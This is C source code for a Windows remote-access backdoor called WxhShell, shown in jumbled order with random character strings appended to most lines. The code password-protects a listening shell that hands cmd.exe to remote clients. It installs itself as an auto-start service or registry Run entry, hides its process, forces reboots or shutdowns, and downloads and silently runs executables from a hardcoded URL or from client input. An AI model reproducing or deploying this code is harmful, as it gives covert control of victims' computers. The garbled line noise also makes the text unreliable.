    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IXv9mr?H}  
    if(Boot(SHUTDOWN)) A)_HSIVi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K~6u5a9s  
    else { RXRoMg!-P  
    closesocket(wsh); T#.pi@PF>  
    ExitThread(0); Ajm4q_  
    } 'E"W;#%  
    break; :nS$cC0x*  
    } u{&#Gci  
  // 获取shell 2EiE5@  
  case 's': { $X,dQ]M  
    CmdShell(wsh); TW6F9}'f&  
    closesocket(wsh); +~$pkxD"  
    ExitThread(0); G^V a$ike  
    break; Mp?L9  
  } G@zJf)u}  
  // 退出 fS$;~@p  
  case 'x': { :i>If:>g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hgK 4;R  
    CloseIt(wsh); =Q*x=}NH  
    break; s#H_ QOE  
    } N6HeZB" :  
  // 离开 l[<U UEjZJ  
  case 'q': { H/y,}z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y96HTQ32  
    closesocket(wsh); \Oxyc}&  
    WSACleanup(); d:pGdr& .  
    exit(1); s_}`TejK  
    break; cH6++r  
        } :-Ml?:0_X  
  } [@_W-rA  
  } .(99f#2M:  
Wv||9[Rd  
  // 提示信息  &2bqL!k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "7Z-ACyF5  
} *x:*Q \|  
  } ?I$-im  
c2gi 3  
  return; %j@@J\G!  
} t:"3M iM=c  
hp`ZmLq/[  
// shell模块句柄 YQcaWd(  
int CmdShell(SOCKET sock) &z#`Qa3NI  
{ U$ 46=F|  
STARTUPINFO si; ,KCxNdg^#-  
ZeroMemory(&si,sizeof(si)); qKrxln/T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EbG&[v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @H8DGeM  
PROCESS_INFORMATION ProcessInfo; (K_{a+$[  
char cmdline[]="cmd"; V8Ri2&|3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c\;_ jg  
  return 0; _2Mpzv  
} '<s54 Cb  
J0Gjo9L  
// 自身启动模式 \CX6~  
int StartFromService(void) adPd}rt;  
{ L2=:Nac  
typedef struct h5(OjlMC  
{ hr!'  
  DWORD ExitStatus; { [3xi`0-  
  DWORD PebBaseAddress; e/&^~ $h  
  DWORD AffinityMask; E\ls- (,  
  DWORD BasePriority; 3m| C8:  
  ULONG UniqueProcessId; THARr#1b};  
  ULONG InheritedFromUniqueProcessId; 2;(+]Ad<  
}   PROCESS_BASIC_INFORMATION; w+wtr[;wwL  
d<6m_! L  
PROCNTQSIP NtQueryInformationProcess; CXi[$nF3  
 md,KRE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >g m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !ewT#afyu(  
lQd7p+ 21  
  HANDLE             hProcess; Sy' ]fGvx  
  PROCESS_BASIC_INFORMATION pbi; %DA&txX}w  
o7s!ti\G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kD0bdE|  
  if(NULL == hInst ) return 0; +I?k8 ',pi  
4,>9N9.?9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P) cEYk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !6x7^E;c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f!#+cM  
+w-J;GLSy  
  if (!NtQueryInformationProcess) return 0; a|jZg  
oKCv$>Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); : _tt9J  
  if(!hProcess) return 0; uXk]  
fY6~Z BvK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0?}n(f!S  
&36SX<vZ  
  CloseHandle(hProcess); G{I),Y~IF  
5 5m\, UG7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p!5'#\^f  
if(hProcess==NULL) return 0; [(gXjt-  
BNj_f  
HMODULE hMod; YRo,wsj  
char procName[255]; <# RVA{  
unsigned long cbNeeded; C$0g2X  
~d].<Be  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l*6Zh "o:  
#wo *2 (  
  CloseHandle(hProcess); \h_q]  
x H&hs$=  
if(strstr(procName,"services")) return 1; // 以服务启动 wJNm}Wf  
!-.GfI:q  
  return 0; // 注册表启动 OQ- Hn -H  
} hf^<lJh~=  
""Da 2Md  
// 主模块 ;1s+1G}_z  
int StartWxhshell(LPSTR lpCmdLine) #n}~u@,o_  
{ 6i2%EC9  
  SOCKET wsl; L7d1)mV  
BOOL val=TRUE; 0{g*\W*+~  
  int port=0; X6",Xr! {  
  struct sockaddr_in door; 1`YU9?  
Z %Ozzp/  
  if(wscfg.ws_autoins) Install(); |q58XwU `  
/isalOT  
port=atoi(lpCmdLine); JhfVm*,  
Fs].Fa  
if(port<=0) port=wscfg.ws_port; vbVOWX6  
x M(H4.<  
  WSADATA data; g;v;xlY`N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fGO\f;P  
^lAM /  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TS#[[^!S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); nYFrp)DLK  
  door.sin_family = AF_INET; FY ms]bv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |K"Q>V2y  
  door.sin_port = htons(port); ZZ7qSyBs?  
7/ ?QZN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MUAs(M;  
closesocket(wsl); ,wwO0,"y7  
return 1; kQ lU.J>^  
} fT|A^  
 UXs)$  
  if(listen(wsl,2) == INVALID_SOCKET) { xC,x_:R`  
closesocket(wsl); xEp?|Q$  
return 1; Dlq !:dF{&  
} KWZhCS?[(  
  Wxhshell(wsl); Zym6btc  
  WSACleanup(); qh:Bc$S  
 }:Gs ,  
return 0; sVK?sBs]  
o`,~#P|  
} > .  
qyv=ot0"~F  
// 以NT服务方式启动 dF\#:[B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V`1,s~"q  
{ pL5cw=  
DWORD   status = 0; 1^4:l!0D  
  DWORD   specificError = 0xfffffff; ) ](ls@*  
I5_HaC>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /\c'kMAW!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O=A2QykV(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <;6{R#Tuh  
  serviceStatus.dwWin32ExitCode     = 0; {]< G=]'  
  serviceStatus.dwServiceSpecificExitCode = 0; 8o$rF7.-  
  serviceStatus.dwCheckPoint       = 0; eHuJFM  
  serviceStatus.dwWaitHint       = 0; Bchv1KF  
I I+y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WJ25fTsG  
  if (hServiceStatusHandle==0) return; 0RT8N=B83  
du66a+@t  
status = GetLastError(); x}yl Rg`[  
  if (status!=NO_ERROR) A^>@6d $2  
{ qcS.=Cj?)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N)H "'#-  
    serviceStatus.dwCheckPoint       = 0; 4b`E/L}2  
    serviceStatus.dwWaitHint       = 0; lL:a}#qxU  
    serviceStatus.dwWin32ExitCode     = status; N2v/<  
    serviceStatus.dwServiceSpecificExitCode = specificError; |QDoi[ *  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); IT1YF.i  
    return; cm(*F 0<  
  } C/!.VMl^  
4|=>gdW)KN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?vFy3  
  serviceStatus.dwCheckPoint       = 0; Lwr's'ao.  
  serviceStatus.dwWaitHint       = 0; ^_;'9YD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wqb4w7%  
} z3jk xWAZ  
l1)~WqhE}  
// 处理NT服务事件,比如:启动、停止  X0VS a{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >u?.gJm~  
{ OG/b5U  
switch(fdwControl) At'CT5=  
{ DB5J3r81  
case SERVICE_CONTROL_STOP: iT>u&0B-  
  serviceStatus.dwWin32ExitCode = 0; R}ki%i5|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x b"z%.j  
  serviceStatus.dwCheckPoint   = 0; :A8}x=K  
  serviceStatus.dwWaitHint     = 0; H~a ~ 'tm  
  { fQJ`&9m*BF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H648[H[k  
  } s-$ Wc) l  
  return; s;BMj^x  
case SERVICE_CONTROL_PAUSE: >R+-mP!nj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cb|+6m~  
  break; ABN4kM>%  
case SERVICE_CONTROL_CONTINUE: tk&AZb,sP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;xZ+1 zmL0  
  break; _MBhwNBxZ  
case SERVICE_CONTROL_INTERROGATE: {p +&Q|  
  break; )G/bP!^+(  
}; Q":_\inF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m/KaWrw/)  
} BNfj0e5b  
)`DVPudiy  
// 标准应用程序主函数 HwUaaK   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?woL17Gt  
{ wa"0`a:`;  
rwRZGd *p  
// 获取操作系统版本 ^dI;B27E*  
OsIsNt=GetOsVer(); CS7b3p!I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CO wcus  
VeGSr  
  // 从命令行安装 (?jK|_  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2~kx3` Q  
^kKLi  
  // 下载执行文件 )9YDNVo*-  
if(wscfg.ws_downexe) { ZnEgU}g<2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (Q*q# U  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1 l,fK)z  
} )|~&(+Q?]  
qyz%9 9  
if(!OsIsNt) { B\J[O5},  
// 如果时win9x,隐藏进程并且设置为注册表启动 + [w 0;W_  
HideProc(); e~]P _53  
StartWxhshell(lpCmdLine); I-]G{  
} ]9oj,k  
else -9b=-K.y  
  if(StartFromService()) ;_,jy7lf  
  // 以服务方式启动 M|(VM=~  
  StartServiceCtrlDispatcher(DispatchTable); $*C }iJsF  
else w2s`9  
  // 普通方式启动 WLUgiW(0$  
  StartWxhshell(lpCmdLine); U% h.l  
h/Mt<5  
return 0; TO6F  
} =XfvPBA  
8<VDp Y  
!db=Iz5)  
@]Jq28  
=========================================== q8{Bx03m6  
imM!Me 0TE  
Z",0 $Gxu  
.I`>F/Sjr  
O*u   
%J*1F  
" Q9bnOvKe|  
xA3_W  
#include <stdio.h> n!4}Hwz!  
#include <string.h> n {?Du  
#include <windows.h> V%R]jbHZ#  
#include <winsock2.h> #Pd9i5~N  
#include <winsvc.h> ([8*Py|  
#include <urlmon.h> `oxBIn*BD  
mI&3y9; (  
#pragma comment (lib, "Ws2_32.lib") )z7CT|h7S  
#pragma comment (lib, "urlmon.lib") `wi+/^);  
1uo- ?k  
#define MAX_USER   100 // 最大客户端连接数 VzT*^PFBg  
#define BUF_SOCK   200 // sock buffer (Y~/9a4X  
#define KEY_BUFF   255 // 输入 buffer 59.$;Ip;g  
]3v)3Wp  
#define REBOOT     0   // 重启 u>'0Xo9R  
#define SHUTDOWN   1   // 关机 +3))G  
]xS%E r  
#define DEF_PORT   5000 // 监听端口 ie1~QQ  
WI1Y P0V  
#define REG_LEN     16   // 注册表键长度 WL+EpNKSf  
#define SVC_LEN     80   // NT服务名长度 4 $k{,  
Id?-Og2i V  
// 从dll定义API /Z2u0jNArP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ) gl{ x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (Aw@}!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \;XJ$~>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k)+{Y v*  
}hn?4ny  
// wxhshell配置信息 /[/L%;a'p  
struct WSCFG { #'/rFT4{v  
  int ws_port;         // 监听端口 =ls+vH40&  
  char ws_passstr[REG_LEN]; // 口令 JrBPx/?(,;  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yup#aeXY/  
  char ws_regname[REG_LEN]; // 注册表键名 tar/no  
  char ws_svcname[REG_LEN]; // 服务名 R&!;(k0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Wps^wY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DcxT6[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5%TSUU+<I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &&;.7E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ea4zC|;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]+G .S-a  
1#Vd)vSP  
}; Yv1yRoDv  
2z;nPup,  
// default Wxhshell configuration pauO_'j_1p  
struct WSCFG wscfg={DEF_PORT, zeGWM,!  
    "xuhuanlingzhe", 1 Ne;U/  
    1, kiF}+,z"  
    "Wxhshell", ",~ZO<P  
    "Wxhshell", $bhI2%_`M  
            "WxhShell Service", z^wod  
    "Wrsky Windows CmdShell Service", p4uzw  
    "Please Input Your Password: ", U>n[R/~]  
  1, V'b4wO1RV  
  "http://www.wrsky.com/wxhshell.exe", "y8W5R5kL4  
  "Wxhshell.exe" TTO8tT3[6}  
    }; -[*y{K@dh  
3_RdzW}f  
// 消息定义模块 &t UX(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K7s[Fa6J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W /v &V#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0<V/[$}\D  
char *msg_ws_ext="\n\rExit."; $JOtUB{  
char *msg_ws_end="\n\rQuit."; y:E$n!  
char *msg_ws_boot="\n\rReboot..."; Q0-gU+ig  
char *msg_ws_poff="\n\rShutdown..."; U^}7DJ  
char *msg_ws_down="\n\rSave to "; ?* +>T@MH  
I`+,I`~u  
char *msg_ws_err="\n\rErr!"; "uplk8iCJ  
char *msg_ws_ok="\n\rOK!"; ?0 cv  
ByE@4+9  
char ExeFile[MAX_PATH]; # ,H!<X;SS  
int nUser = 0; ?yG[VW  
HANDLE handles[MAX_USER]; "Pc}-&  
int OsIsNt; JV,h1/a("  
8yIBx%"4MH  
SERVICE_STATUS       serviceStatus; W2`3PEa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fNda&  
C\{ KB@C\*  
// 函数声明 |A68+(3u  
int Install(void); 0OlT^  
int Uninstall(void); 1Y"9<ry  
int DownloadFile(char *sURL, SOCKET wsh); _|;d D  
int Boot(int flag); ;P' 5RCqj  
void HideProc(void); Y{~`g(~9_A  
int GetOsVer(void); ;0| :.q  
int Wxhshell(SOCKET wsl); p! k~uf U  
void TalkWithClient(void *cs); M4|ION  
int CmdShell(SOCKET sock); k^d^Todq.  
int StartFromService(void); qQf NT.  
int StartWxhshell(LPSTR lpCmdLine); 7`7M4  
 rPr]f;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p/eaO{6 6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZG+FX:v  
P@bPdw!JA  
// 数据结构和表定义 ~[F7M{LS  
SERVICE_TABLE_ENTRY DispatchTable[] = K20Hh7cVJ  
{ u-jV@Tz  
{wscfg.ws_svcname, NTServiceMain}, -F(luRBS(W  
{NULL, NULL} K#6@sas  
}; "([gN:   
"1\GU1x  
// 自我安装 -k:x e:$  
int Install(void) ,yp#!gE~  
{ @8w[Zo~  
  char svExeFile[MAX_PATH]; EhKG"Lb+  
  HKEY key; #Mk3cp^Yl  
  strcpy(svExeFile,ExeFile); xVYa-I[Z  
Z0M,YSnz  
// 如果是win9x系统,修改注册表设为自启动 JPL`/WA 0  
if(!OsIsNt) { 1.N2!:&G|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >Q_ '[!S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8*Fn02 p  
  RegCloseKey(key); '5Kj "aD%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +2tFX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /]0SF_dZ  
  RegCloseKey(key); 2&pE  
  return 0; }l}_'FmQ  
    } TC2%n\GH*  
  } b+gu<##  
} @0 x   
else { e?7NW  
:,yC\,H^  
// 如果是NT以上系统,安装为系统服务 >\~Er@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "*`!.9pt  
if (schSCManager!=0) 2z$!}  
{ hwvitD!0  
  SC_HANDLE schService = CreateService }(DH_0  
  ( 1=T;68B  
  schSCManager, @*|UyK.   
  wscfg.ws_svcname, ]a.^F  
  wscfg.ws_svcdisp, ;"#yHP`  
  SERVICE_ALL_ACCESS, KT 6 ppo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #=0 BjW*  
  SERVICE_AUTO_START, b LGC  
  SERVICE_ERROR_NORMAL, 1he5Zevm}  
  svExeFile, v>nBdpjXh  
  NULL, rtbV*@Z  
  NULL, p(="73  
  NULL, AEx VKy  
  NULL, 0Ntvd7"`}  
  NULL l1`r%9gr  
  ); @(*A<2;N  
  if (schService!=0) 3P>1-=  
  { Dk$<fMS,7c  
  CloseServiceHandle(schService); @vib54G  
  CloseServiceHandle(schSCManager); ?7lW@U0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oa=TlBk<  
  strcat(svExeFile,wscfg.ws_svcname); *_J{_7pwe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _<F;&(o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N^wHO<IO 1  
  RegCloseKey(key); =j~:u.hc'  
  return 0; o%`=+- K  
    } 'Q 7^bF^  
  } 8sBT&A6&j  
  CloseServiceHandle(schSCManager); ,uNJz-B8  
} dIh+h|:  
} g]N'6La  
tcRJ1:d  
return 1; a9 q:e  
} oclU)f.,  
SO STtuT  
// 自我卸载 g)ZMU^1  
int Uninstall(void) ,~1sZ`C  
{ 01&E.A  
  HKEY key; .#iot(g  
 /d!  
if(!OsIsNt) { E y9rH_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $%M]2_W(  
  RegDeleteValue(key,wscfg.ws_regname); |v : )9  
  RegCloseKey(key); dKD:mU",M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %,<Ki]F  
  RegDeleteValue(key,wscfg.ws_regname); ."O%pL]!/b  
  RegCloseKey(key); h 6?Z  
  return 0; XR[=W(m}  
  } E^ c *x^  
} f)a0!U 44  
} KZ#\ >  
else { QS\wtTXj  
P zM yUv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FIVC~LDd  
if (schSCManager!=0) k.c.7%|~;  
{ RP+)sCh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q &{<HcP  
  if (schService!=0) X's<+hK&  
  { #pK" ^O*!  
  if(DeleteService(schService)!=0) { S-Bx`e9'  
  CloseServiceHandle(schService); )cP)HbOd=  
  CloseServiceHandle(schSCManager); e3p:lu  
  return 0; zA.0Sm  
  } 53a^9  
  CloseServiceHandle(schService); j!%^6Io4  
  } ^Mc9MZ)  
  CloseServiceHandle(schSCManager); |</)6r  
} u-:3C<&>  
} ; Ad5Jk  
5F ^VvzNn  
return 1; lQ!OD& 6  
} /Yg&:@L  
t&[<Dl/L  
// 从指定url下载文件 >nih:5J,ja  
int DownloadFile(char *sURL, SOCKET wsh) 9^8OIv?m8  
{ )i[Vq|n  
  HRESULT hr; -TG ="U  
char seps[]= "/"; b8YdONdy  
char *token; Kdp($L9r  
char *file; G-RDQ  
char myURL[MAX_PATH]; :lvBcFw  
char myFILE[MAX_PATH]; idX''%"  
GPL%8 YY  
strcpy(myURL,sURL); RB %y($  
  token=strtok(myURL,seps); LGZa l&9AY  
  while(token!=NULL) NV9JMB{q  
  { K5XW&|tY!  
    file=token; Av5:/c.B  
  token=strtok(NULL,seps); MpZ\ j  
  } Vr( Z;YO  
y35~bz^2  
GetCurrentDirectory(MAX_PATH,myFILE); a@q c?  
strcat(myFILE, "\\"); >{:hadUH  
strcat(myFILE, file); dY~z6bT  
  send(wsh,myFILE,strlen(myFILE),0); p)?6#~9$  
send(wsh,"...",3,0); EEL3~H{(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S7PWP< 9  
  if(hr==S_OK) sO 6=w%l^  
return 0; yrfV&C%=n  
else r@Jy*2[-Jq  
return 1; Yb/*2iWX  
9`Fw}yAt  
} s<k2vbhI  
vPz7*w  
// 系统电源模块 x(eX.>o\  
int Boot(int flag) ^IIy>  
{ v}V[sIs}  
  HANDLE hToken; nM b@  B  
  TOKEN_PRIVILEGES tkp; l$EN7^%w  
"opMS/a"7  
  if(OsIsNt) { dpNERc5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p@4GI[4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0NC70+4L  
    tkp.PrivilegeCount = 1; 51#OlvD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  +)e|>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y;8&J{dd  
if(flag==REBOOT) { N 1Ag .  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6b'.WB]-  
  return 0; >,]8iMh  
} *tEqu%N1'  
else { H;=Fq+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {A:uy  
  return 0; DR:$urU$  
} qa )BbK^i  
  } )rG4Nga5}  
  else { PzNPwd  
if(flag==REBOOT) { G--X)h-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 15<? [`:6  
  return 0; Y-YuY  
} g""GQeR  
else { E8}evi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bG@2f"  
  return 0; tZKw(<am  
} KbvMp1'9P  
} Z CPUNtOl  
fTvm2+.nX  
return 1; X V;j6g  
} `a|&aj0  
!.$L=>:V  
// win9x进程隐藏模块 /+SLq`'u)  
void HideProc(void) rHX^bcYK  
{ <L#d <lx  
:Q3pP"H,}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #m{*]mY@  
  if ( hKernel != NULL ) <TRhnz  
  { 5j1d=h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NBc^(F"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ws@'2i\;  
    FreeLibrary(hKernel); SNH 3C1  
  } L8PX SJ  
tMiIlf!>p  
return; Ls9NQy  
} cpltTJFg  
@q/g%-WNz  
// 获取操作系统版本 Q[7i  
int GetOsVer(void) #[lhem]IC  
{ E3wL n/<  
  OSVERSIONINFO winfo; M }d:B)cz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M[YFyM(  
  GetVersionEx(&winfo); A:r?#7 Ma  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~&73f7  
  return 1; "/i$_vl  
  else - Fbp!*. u  
  return 0; YoKyiO!   
} +)jll#}?  
_q27 3QG/"  
// 客户端句柄模块 !EB<N<P"t  
int Wxhshell(SOCKET wsl) ob{'Z]-V  
{ ;J5z  
  SOCKET wsh; x^ f)I|t  
  struct sockaddr_in client; p1Zb&:+  
  DWORD myID; GYaP"3Lu  
V ;XKvH  
  while(nUser<MAX_USER) nG!<wlY14P  
{ fq6%@M~  
  int nSize=sizeof(client); == 5F[UX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }bjZeh.  
  if(wsh==INVALID_SOCKET) return 1; FoyYWj?,R  
' {,xQf*x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XZM3zlg*  
if(handles[nUser]==0) `NsjtT'_  
  closesocket(wsh); sV  
else .9qK88fUR  
  nUser++; )O~[4xV~  
  } .z`70ot?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s3Vb2C*  
XWp8[Cx s  
  return 0; Iv6 q(c  
} {q?&h'#y  
EMW6'  
// 关闭 socket KeQcL4<  
void CloseIt(SOCKET wsh) YZBh}l6t  
{ kW g.-$pp  
closesocket(wsh); (8JU!lin  
nUser--; 5G* cAlU  
ExitThread(0); } p'ZMj&  
} ;hX(/T  
vjGQ!xF  
// 客户端请求句柄 0Z9DewwP  
void TalkWithClient(void *cs)  Z.6dL  
{ hi0HEm\  
8vY-bm,e  
  SOCKET wsh=(SOCKET)cs; >d2Fa4u3  
  char pwd[SVC_LEN]; Q6@<7E]y  
  char cmd[KEY_BUFF]; ^"/^)Lb!@M  
char chr[1]; zN4OrG 0  
int i,j; Ic#xz;elM  
JQ&t"`\k  
  while (nUser < MAX_USER) { 2d ! '9mA  
i<m(neX[H  
if(wscfg.ws_passstr) { \2i7\U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #&&T1;z"#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _>;Wz7  
  //ZeroMemory(pwd,KEY_BUFF); !Lf<hS^  
      i=0; wSTul o:9  
  while(i<SVC_LEN) { hArY$T&MB  
TC\+>LXiZ  
  // 设置超时 9t"Rw ns  
  fd_set FdRead; |W">&Rb<t#  
  struct timeval TimeOut; @c3xUK   
  FD_ZERO(&FdRead); &_ekA44E  
  FD_SET(wsh,&FdRead); |^pev2g  
  TimeOut.tv_sec=8; 9E!le=>  
  TimeOut.tv_usec=0; Sjpx G@k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7;"0:eX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 11[lc2  
}{o !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gb ga"WO  
  pwd=chr[0]; 200yN+ec  
  if(chr[0]==0xd || chr[0]==0xa) { ~U9K<_U  
  pwd=0; 'ZfgCu)St  
  break; Ey46JO"  
  } c3A\~tHW  
  i++; }htjT/Nm  
    } dj0; tQ=C  
tMIYVHGy  
  // 如果是非法用户,关闭 socket ]A#lV$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^:eZpQ [,  
} ;;Q^/rkC  
)O]T}eI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @;Ttdwg#J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6o 3 bq|  
mPV<a&U  
while(1) { NO"PO @&Wk  
':'g!b`/  
  ZeroMemory(cmd,KEY_BUFF); +eM${JyXH  
XpIiJry!6  
      // 自动支持客户端 telnet标准   a&y^Ps6=  
  j=0; c7Z4u|G  
  while(j<KEY_BUFF) { Zp_(vOc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d2 ^}ooE  
  cmd[j]=chr[0]; 3^ Yc%  
  if(chr[0]==0xa || chr[0]==0xd) { IV QH p  
  cmd[j]=0; U2oCSo5:3N  
  break; Ykbg5Z  
  } u2V-V#jS  
  j++; *2'8d8>R%]  
    } K"}fD;3  
_]Hna<Ly  
  // 下载文件 g*| j+<:7  
  if(strstr(cmd,"http://")) { %\As  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \{,TpK.  
  if(DownloadFile(cmd,wsh)) W .7rHa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {|+Y;V`  
  else (L_-!=e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h~MV=7 lE  
  } 8sG3<$Z^  
  else { 30Q p^)K  
:QCL9QZ'  
    switch(cmd[0]) { ^E !v D  
